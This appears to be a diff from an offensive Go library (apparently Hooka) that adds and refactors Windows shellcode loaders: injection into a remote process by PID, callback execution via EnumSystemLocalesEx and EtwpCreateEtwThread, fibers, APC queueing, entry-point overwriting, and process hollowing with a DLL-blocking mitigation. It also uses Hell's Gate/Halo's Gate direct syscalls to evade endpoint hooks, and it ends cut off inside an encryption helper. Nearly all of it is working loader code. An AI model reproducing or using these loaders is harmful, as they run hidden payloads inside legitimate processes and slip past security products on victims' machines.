CloseHandle := kernel32.NewProc("CloseHandle")
|
||||
|
||||
var pHandle uintptr
|
||||
|
||||
if pid == 0 {
|
||||
pHandle, _, _ = GetCurrentProcess.Call()
|
||||
} else {
|
||||
pHandle, _, _ = OpenProcess.Call(
|
||||
windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION,
|
||||
uintptr(0),
|
||||
uintptr(pid),
|
||||
)
|
||||
}
|
||||
|
||||
addr, _, _ := VirtualAllocEx.Call(
|
||||
uintptr(pHandle),
|
||||
0,
|
||||
uintptr(len(shellcode)),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
||||
windows.PAGE_READWRITE,
|
||||
)
|
||||
|
||||
if addr == 0 {
|
||||
return errors.New("VirtualAllocEx failed and returned 0")
|
||||
}
|
||||
|
||||
WriteProcessMemory.Call(
|
||||
uintptr(pHandle),
|
||||
addr,
|
||||
(uintptr)(unsafe.Pointer(&shellcode[0])),
|
||||
uintptr(len(shellcode)),
|
||||
)
|
||||
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
VirtualProtectEx.Call(
|
||||
uintptr(pHandle),
|
||||
addr,
|
||||
uintptr(len(shellcode)),
|
||||
windows.PAGE_EXECUTE_READ,
|
||||
uintptr(unsafe.Pointer(&oldProtect)),
|
||||
)
|
||||
|
||||
CreateRemoteThreadEx.Call(
|
||||
uintptr(pHandle),
|
||||
0,
|
||||
0,
|
||||
addr,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
_, _, errCloseHandle := CloseHandle.Call(pHandle)
|
||||
if errCloseHandle != nil {
|
||||
return errCloseHandle
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
package shellcode
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
"golang.org/x/sys/windows"
|
||||
"github.com/D3Ext/Hooka/evasion"
|
||||
)
|
||||
|
||||
func EnumSystemLocales(shellcode []byte) error {
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
|
||||
EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx")
|
||||
NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory")
|
||||
NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
|
||||
|
||||
var addr uintptr
|
||||
regionsize := uintptr(len(shellcode))
|
||||
|
||||
r1, _, err := NtAllocateVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(®ionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
|
||||
if r1 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
NtWriteVirtualMemory.Call(^uintptr(0), addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
|
||||
|
||||
r1, _, err = EnumSystemLocalesEx.Call(addr, 0, 0, 0)
|
||||
if r1 == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
Hell's Gate + Halo's Gate technique
|
||||
|
||||
*/
|
||||
|
||||
func EnumSystemLocalesHalos(shellcode []byte) error {
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx")
|
||||
|
||||
NtAllocateVirtualMemory, err := evasion.GetSysId("NtAllocateVirtualMemory")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
NtWriteVirtualMemory, err := evasion.GetSysId("NtWriteVirtualMemory")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
pHandle, _, _ := GetCurrentProcess.Call()
|
||||
|
||||
var addr uintptr
|
||||
regionsize := uintptr(len(shellcode))
|
||||
|
||||
r1, err := evasion.Syscall(
|
||||
NtAllocateVirtualMemory,
|
||||
uintptr(pHandle),
|
||||
uintptr(unsafe.Pointer(&addr)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(®ionsize)),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
||||
windows.PAGE_EXECUTE_READWRITE,
|
||||
)
|
||||
|
||||
if r1 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
evasion.Syscall(
|
||||
NtWriteVirtualMemory,
|
||||
uintptr(pHandle),
|
||||
addr,
|
||||
uintptr(unsafe.Pointer(&shellcode[0])),
|
||||
uintptr(len(shellcode)),
|
||||
0,
|
||||
)
|
||||
|
||||
EnumSystemLocalesEx.Call(
|
||||
addr,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
package shellcode
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func EtwpCreateEtwThread(shellcode []byte) error {
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory")
|
||||
NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
|
||||
NtWaitForSingleObject := ntdll.NewProc("NtWaitForSingleObject")
|
||||
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
|
||||
EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
|
||||
|
||||
var addr uintptr
|
||||
regionsize := uintptr(len(shellcode))
|
||||
|
||||
r1, _, err := NtAllocateVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(®ionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
||||
if r1 != uintptr(windows.STATUS_SUCCESS) {
|
||||
return err
|
||||
}
|
||||
|
||||
RtlCopyMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), regionsize)
|
||||
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
r2, _, err := NtProtectVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if r2 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
thread, _, err := EtwpCreateEtwThread.Call(addr, uintptr(0))
|
||||
if thread == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
r3, _, err := NtWaitForSingleObject.Call(thread, uintptr(0), 0xFFFFFFFF)
|
||||
if r3 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
package core
|
||||
package shellcode
|
||||
|
||||
/*
|
||||
|
||||
@@ -8,13 +8,6 @@ This package exports all windows struct which are used
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
ntdllpath = "C:\\Windows\\System32\\ntdll.dll"
|
||||
kernel32path = "C:\\Windows\\System32\\kernel32.dll"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -111,28 +104,6 @@ type IMAGE_NT_HEADER struct {
|
||||
OptionalHeader IMAGE_OPTIONAL_HEADER
|
||||
}
|
||||
|
||||
type IMAGE_DOS_HEADER struct { // DOS .EXE header
|
||||
E_magic uint16 // Magic number
|
||||
E_cblp uint16 // Bytes on last page of file
|
||||
E_cp uint16 // Pages in file
|
||||
E_crlc uint16 // Relocations
|
||||
E_cparhdr uint16 // Size of header in paragraphs
|
||||
E_minalloc uint16 // Minimum extra paragraphs needed
|
||||
E_maxalloc uint16 // Maximum extra paragraphs needed
|
||||
E_ss uint16 // Initial (relative) SS value
|
||||
E_sp uint16 // Initial SP value
|
||||
E_csum uint16 // Checksum
|
||||
E_ip uint16 // Initial IP value
|
||||
E_cs uint16 // Initial (relative) CS value
|
||||
E_lfarlc uint16 // File address of relocation table
|
||||
E_ovno uint16 // Overlay number
|
||||
E_res [4]uint16 // Reserved words
|
||||
E_oemid uint16 // OEM identifier (for E_oeminfo)
|
||||
E_oeminfo uint16 // OEM information; E_oemid specific
|
||||
E_res2 [10]uint16 // Reserved words
|
||||
E_lfanew uint16 // File address of new exe header
|
||||
}
|
||||
|
||||
type PEB struct {
|
||||
InheritedAddressSpace byte // BYTE 0
|
||||
ReadImageFileExecOptions byte // BYTE 1
|
||||
@@ -166,31 +137,6 @@ type PROCESS_BASIC_INFORMATION struct {
|
||||
InheritedFromUniqueProcessID uintptr // PVOID
|
||||
}
|
||||
|
||||
type ClientID struct {
|
||||
UniqueProcess windows.Handle
|
||||
UniqueThread windows.Handle
|
||||
}
|
||||
|
||||
type imageExportDir struct {
|
||||
_, _ uint32
|
||||
_, _ uint16
|
||||
Name uint32
|
||||
Base uint32
|
||||
NumberOfFunctions uint32
|
||||
NumberOfNames uint32
|
||||
AddressOfFunctions uint32
|
||||
AddressOfNames uint32
|
||||
AddressOfNameOrdinals uint32
|
||||
}
|
||||
|
||||
type memStatusEx struct { // Auxiliary struct to retrieve total memory
|
||||
dwLength uint32
|
||||
dwMemoryLoad uint32
|
||||
ullTotalPhys uint64
|
||||
ullAvailPhys uint64
|
||||
unused [5]uint64
|
||||
}
|
||||
|
||||
type CLIENT_ID struct {
|
||||
UniqueProcess uintptr
|
||||
UniqueThread uintptr
|
||||
@@ -1,4 +1,4 @@
|
||||
package core
|
||||
package shellcode
|
||||
|
||||
/*
|
||||
|
||||
@@ -10,28 +10,19 @@ https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateFiber/main.go
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
// MEM_COMMIT is a Windows constant used with Windows API calls
|
||||
MEM_COMMIT = 0x1000
|
||||
|
||||
// MEM_RESERVE is a Windows constant used with Windows API calls
|
||||
MEM_RESERVE = 0x2000
|
||||
|
||||
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
|
||||
PAGE_EXECUTE_READ = 0x20
|
||||
|
||||
// PAGE_READWRITE is a Windows constant used with Windows API calls
|
||||
PAGE_READWRITE = 0x04
|
||||
)
|
||||
|
||||
func Fibers(shellcode []byte) error {
|
||||
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
|
||||
@@ -44,7 +35,6 @@ func Fibers(shellcode []byte) error {
|
||||
|
||||
fiberAddr, _, _ := ConvertThreadToFiber.Call() // Convert thread to fiber
|
||||
|
||||
// Allocate shellcode
|
||||
addr, _, _ := VirtualAlloc.Call(
|
||||
0,
|
||||
uintptr(len(shellcode)),
|
||||
@@ -56,7 +46,6 @@ func Fibers(shellcode []byte) error {
|
||||
return errors.New("VirtualAlloc failed and returned 0")
|
||||
}
|
||||
|
||||
// Copy shellcode to memory
|
||||
RtlCopyMemory.Call(
|
||||
addr,
|
||||
(uintptr)(unsafe.Pointer(&shellcode[0])),
|
||||
@@ -64,7 +53,6 @@ func Fibers(shellcode []byte) error {
|
||||
)
|
||||
|
||||
oldProtect := PAGE_READWRITE
|
||||
// Change memory region to PAGE_EXECUTE_READ
|
||||
VirtualProtect.Call(
|
||||
addr,
|
||||
uintptr(len(shellcode)),
|
||||
@@ -72,22 +60,11 @@ func Fibers(shellcode []byte) error {
|
||||
uintptr(unsafe.Pointer(&oldProtect)),
|
||||
)
|
||||
|
||||
// Create fiber
|
||||
fiber, _, _ := CreateFiber.Call(
|
||||
0,
|
||||
addr,
|
||||
0,
|
||||
)
|
||||
fiber, _, _ := CreateFiber.Call(0, addr, 0)
|
||||
|
||||
_, _, errSwitchToFiber := SwitchToFiber.Call(fiber)
|
||||
if errSwitchToFiber != nil {
|
||||
fmt.Println("errSwitchToFiber", errSwitchToFiber.Error())
|
||||
}
|
||||
SwitchToFiber.Call(fiber)
|
||||
|
||||
_, _, errSwitchToFiber2 := SwitchToFiber.Call(fiberAddr)
|
||||
if errSwitchToFiber2 != nil {
|
||||
fmt.Println("errSwitchToFiber2", errSwitchToFiber2.Error())
|
||||
}
|
||||
SwitchToFiber.Call(fiberAddr)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package shellcode
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"golang.org/x/sys/windows"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type IMAGE_DOS_HEADER struct {
|
||||
E_lfanew uint32
|
||||
}
|
||||
|
||||
func NoRWX(shellcode []byte) error {
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
|
||||
CreateProcess := kernel32.NewProc("CreateProcessW")
|
||||
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
ResumeThread := kernel32.NewProc("ResumeThread")
|
||||
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
|
||||
|
||||
var info int32
|
||||
var returnLength int32
|
||||
|
||||
var pbi windows.PROCESS_BASIC_INFORMATION
|
||||
si:= &windows.StartupInfo{}
|
||||
pi := &windows.ProcessInformation{}
|
||||
|
||||
cmd, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
CreateProcess.Call(0, uintptr(unsafe.Pointer(cmd)), 0, 0, 0, windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(si)), uintptr(unsafe.Pointer(pi)))
|
||||
|
||||
NtQueryInformationProcess.Call(uintptr(pi.Process), uintptr(info), uintptr(unsafe.Pointer(&pbi)), uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})), uintptr(unsafe.Pointer(&returnLength)))
|
||||
|
||||
pebOffset := uintptr(unsafe.Pointer(pbi.PebBaseAddress)) + 0x10
|
||||
var imageBase uintptr = 0
|
||||
|
||||
ReadProcessMemory.Call(uintptr(pi.Process), pebOffset, uintptr(unsafe.Pointer(&imageBase)), 8, 0)
|
||||
|
||||
headersBuffer := make([]byte, 4096)
|
||||
|
||||
ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(unsafe.Pointer(&headersBuffer[0])), 4096, 0)
|
||||
|
||||
var dosHeader IMAGE_DOS_HEADER
|
||||
dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64])
|
||||
ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew)))
|
||||
codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase
|
||||
|
||||
WriteProcessMemory.Call(uintptr(pi.Process), codeEntry, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
|
||||
|
||||
ResumeThread.Call(uintptr(pi.Thread))
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
package shellcode
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
"github.com/D3Ext/Hooka/evasion"
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func NtCreateThreadEx(shellcode []byte, pid int) error {
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
|
||||
NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory")
|
||||
NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
|
||||
NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
|
||||
NtCreateThreadEx := ntdll.NewProc("NtCreateThreadEx")
|
||||
NtWaitForSingleObject := ntdll.NewProc("NtWaitForSingleObject")
|
||||
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
OpenProcess := kernel32.NewProc("OpenProcess")
|
||||
|
||||
var pHandle uintptr
|
||||
|
||||
if pid == 0 {
|
||||
pHandle, _, _ = GetCurrentProcess.Call()
|
||||
} else {
|
||||
pHandle, _, _ = OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, uintptr(0), uintptr(pid))
|
||||
}
|
||||
|
||||
var addr uintptr
|
||||
regionsize := uintptr(len(shellcode))
|
||||
|
||||
r1, _, err := NtAllocateVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(®ionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
||||
if r1 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
NtWriteVirtualMemory.Call(uintptr(pHandle), addr, uintptr(unsafe.Pointer(&shellcode[0])), regionsize, 0)
|
||||
|
||||
var oldProtect uintptr
|
||||
r2, _, err := NtProtectVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if r2 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
var hhosthread uintptr
|
||||
NtCreateThreadEx.Call(uintptr(unsafe.Pointer(&hhosthread)), 0x1FFFFF, 0, uintptr(pHandle), addr, 0, uintptr(0), 0, 0, 0, 0)
|
||||
|
||||
NtWaitForSingleObject.Call(hhosthread, uintptr(0), 0xFFFFFFFF)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
Hell's Gate + Halo's Gate technique
|
||||
|
||||
*/
|
||||
|
||||
func NtCreateThreadExHalos(shellcode []byte) error {
|
||||
|
||||
NtAllocateVirtualMemory, err := evasion.GetSysId("NtAllocateVirtualMemory")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
NtWriteVirtualMemory, err := evasion.GetSysId("NtWriteVirtualMemory")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
NtProtectVirtualMemory, err := evasion.GetSysId("NtProtectVirtualMemory")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
NtCreateThreadEx, err := evasion.GetSysId("NtCreateThreadEx")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var addr uintptr
|
||||
regionsize := uintptr(len(shellcode))
|
||||
|
||||
r1, err := evasion.Syscall(
|
||||
NtAllocateVirtualMemory,
|
||||
uintptr(0xffffffffffffffff),
|
||||
uintptr(unsafe.Pointer(&addr)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(®ionsize)),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
||||
windows.PAGE_READWRITE,
|
||||
)
|
||||
if r1 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
evasion.Syscall(
|
||||
NtWriteVirtualMemory,
|
||||
uintptr(0xffffffffffffffff),
|
||||
addr,
|
||||
uintptr(unsafe.Pointer(&shellcode[0])),
|
||||
uintptr(len(shellcode)),
|
||||
0,
|
||||
)
|
||||
|
||||
var oldProtect uintptr
|
||||
r2, err := evasion.Syscall(
|
||||
NtProtectVirtualMemory,
|
||||
uintptr(0xffffffffffffffff),
|
||||
uintptr(unsafe.Pointer(&addr)),
|
||||
uintptr(unsafe.Pointer(®ionsize)),
|
||||
windows.PAGE_EXECUTE_READ,
|
||||
uintptr(unsafe.Pointer(&oldProtect)),
|
||||
)
|
||||
if r2 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
var hhosthread uintptr
|
||||
r3, err := evasion.Syscall(
|
||||
NtCreateThreadEx,
|
||||
uintptr(unsafe.Pointer(&hhosthread)),
|
||||
0x1FFFFF,
|
||||
0,
|
||||
uintptr(0xffffffffffffffff),
|
||||
addr,
|
||||
0,
|
||||
uintptr(0),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
windows.WaitForSingleObject(windows.Handle(hhosthread), 0xffffffff)
|
||||
|
||||
if r3 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
package shellcode
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func NtQueueApcThreadEx(shellcode []byte) error {
|
||||
const (
|
||||
QUEUE_USER_APC_FLAGS_NONE = iota
|
||||
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
|
||||
QUEUE_USER_APC_FLGAS_MAX_VALUE
|
||||
)
|
||||
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
|
||||
GetCurrentThread := kernel32.NewProc("GetCurrentThread")
|
||||
NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory")
|
||||
NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
|
||||
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
|
||||
NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx")
|
||||
|
||||
var addr uintptr
|
||||
regionsize := uintptr(len(shellcode))
|
||||
|
||||
r1, _, err := NtAllocateVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(®ionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
|
||||
if r1 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
RtlCopyMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), regionsize)
|
||||
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
r2, _, err := NtProtectVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if r2 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
thread, _, _ := GetCurrentThread.Call()
|
||||
|
||||
NtQueueApcThreadEx.Call(thread, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr(addr), 0, 0, 0)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,126 @@
|
||||
package shellcode
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
"encoding/binary"
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type StartupInfoEx struct {
|
||||
windows.StartupInfo
|
||||
AttributeList *PROC_THREAD_ATTRIBUTE_LIST
|
||||
}
|
||||
|
||||
type ProcessInformation struct {
|
||||
Process uintptr
|
||||
Thread uintptr
|
||||
ProcessId uint32
|
||||
ThreadId uint32
|
||||
}
|
||||
|
||||
type PROC_THREAD_ATTRIBUTE_LIST struct {
|
||||
dwFlags uint32
|
||||
size uint64
|
||||
count uint64
|
||||
reserved uint64
|
||||
unknown *uint64
|
||||
entries []*PROC_THREAD_ATTRIBUTE_ENTRY
|
||||
}
|
||||
|
||||
type PROC_THREAD_ATTRIBUTE_ENTRY struct {
|
||||
attribute *uint32
|
||||
cbSize uintptr
|
||||
lpValue uintptr
|
||||
}
|
||||
|
||||
type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct {
|
||||
Flags uint32
|
||||
}
|
||||
|
||||
func ProcessHollowing(shellcode []byte, proc string, blockdlls bool) error {
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
|
||||
GetProcessHeap := kernel32.NewProc("GetProcessHeap")
|
||||
HeapAlloc := kernel32.NewProc("HeapAlloc")
|
||||
HeapFree := kernel32.NewProc("HeapFree")
|
||||
InitializeProcThreadAttributeList := kernel32.NewProc("InitializeProcThreadAttributeList")
|
||||
UpdateProcThreadAttribute := kernel32.NewProc("UpdateProcThreadAttribute")
|
||||
CreateProcessA := kernel32.NewProc("CreateProcessA")
|
||||
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
ResumeThread := kernel32.NewProc("ResumeThread")
|
||||
ZwQueryInformationProcess := ntdll.NewProc("ZwQueryInformationProcess")
|
||||
|
||||
var pbi PROCESS_BASIC_INFORMATION
|
||||
var si StartupInfoEx
|
||||
var pi ProcessInformation
|
||||
|
||||
if (blockdlls) {
|
||||
procThreadAttributeSize := uintptr(0)
|
||||
InitializeProcThreadAttributeList.Call(0, 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
|
||||
|
||||
procHeap, _, err := GetProcessHeap.Call()
|
||||
if procHeap == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
attributeList, _, err := HeapAlloc.Call(procHeap, 0, procThreadAttributeSize)
|
||||
if attributeList == 0 {
|
||||
return err
|
||||
}
|
||||
defer HeapFree.Call(procHeap, 0, attributeList)
|
||||
|
||||
si.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
|
||||
|
||||
InitializeProcThreadAttributeList.Call(uintptr(unsafe.Pointer(si.AttributeList)), 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
|
||||
|
||||
mitigate := 0x20007
|
||||
nonms := uintptr(0x100000000000|0x1000000000)
|
||||
|
||||
r, _, err := UpdateProcThreadAttribute.Call(uintptr(unsafe.Pointer(si.AttributeList)), 0, uintptr(mitigate), uintptr(unsafe.Pointer(&nonms)), uintptr(unsafe.Sizeof(nonms)), 0, 0)
|
||||
if r == 0 {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
cmd := append([]byte(proc), byte(0))
|
||||
|
||||
si.Cb = uint32(unsafe.Sizeof(si))
|
||||
|
||||
r, _, err := CreateProcessA.Call(0, uintptr(unsafe.Pointer(&cmd[0])), 0, 0, 1, windows.EXTENDED_STARTUPINFO_PRESENT|windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(&si)), uintptr(unsafe.Pointer(&pi)))
|
||||
if r == 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
var returnLength int32
|
||||
pointerSize := unsafe.Sizeof(uintptr(0))
|
||||
|
||||
ZwQueryInformationProcess.Call(uintptr(pi.Process), 0, uintptr(unsafe.Pointer(&pbi)), pointerSize*6, uintptr(unsafe.Pointer(&returnLength)))
|
||||
|
||||
imageBaseAddress := pbi.PebBaseAddress + 0x10
|
||||
addressBuffer := make([]byte, pointerSize)
|
||||
|
||||
var read uintptr
|
||||
ReadProcessMemory.Call(uintptr(pi.Process), imageBaseAddress, uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
|
||||
|
||||
imageBaseValue := binary.LittleEndian.Uint64(addressBuffer)
|
||||
addressBuffer = make([]byte, 0x200)
|
||||
|
||||
ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBaseValue), uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
|
||||
|
||||
lfaNewPos := addressBuffer[0x3c : 0x3c+0x4]
|
||||
lfanew := binary.LittleEndian.Uint32(lfaNewPos)
|
||||
entrypointOffset := lfanew + 0x28
|
||||
entrypointOffsetPos := addressBuffer[entrypointOffset : entrypointOffset+0x4]
|
||||
entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
|
||||
entrypointAddress := imageBaseValue + uint64(entrypointRVA)
|
||||
|
||||
WriteProcessMemory.Call(uintptr(pi.Process), uintptr(entrypointAddress), uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
|
||||
|
||||
ResumeThread.Call(uintptr(pi.Thread))
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -1,9 +1,8 @@
|
||||
package core
|
||||
package shellcode
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
@@ -23,8 +22,8 @@ func QueueUserApc(shellcode []byte) error {
|
||||
}
|
||||
|
||||
errCreateProcess := windows.CreateProcess(
|
||||
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
|
||||
syscall.StringToUTF16Ptr(""),
|
||||
windows.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
|
||||
windows.StringToUTF16Ptr(""),
|
||||
nil,
|
||||
nil,
|
||||
true,
|
||||
@@ -1,4 +1,4 @@
|
||||
package core
|
||||
package shellcode
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
@@ -1,4 +1,4 @@
|
||||
package core
|
||||
package shellcode
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
@@ -0,0 +1,44 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"crypto/cipher"
|
||||
"crypto/des"
|
||||
)
|
||||
|
||||
func TripleDesEncrypt(data, key []byte) ([]byte, error) {
|
||||
block, err := des.NewTripleDESCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
ciphertext := key
|
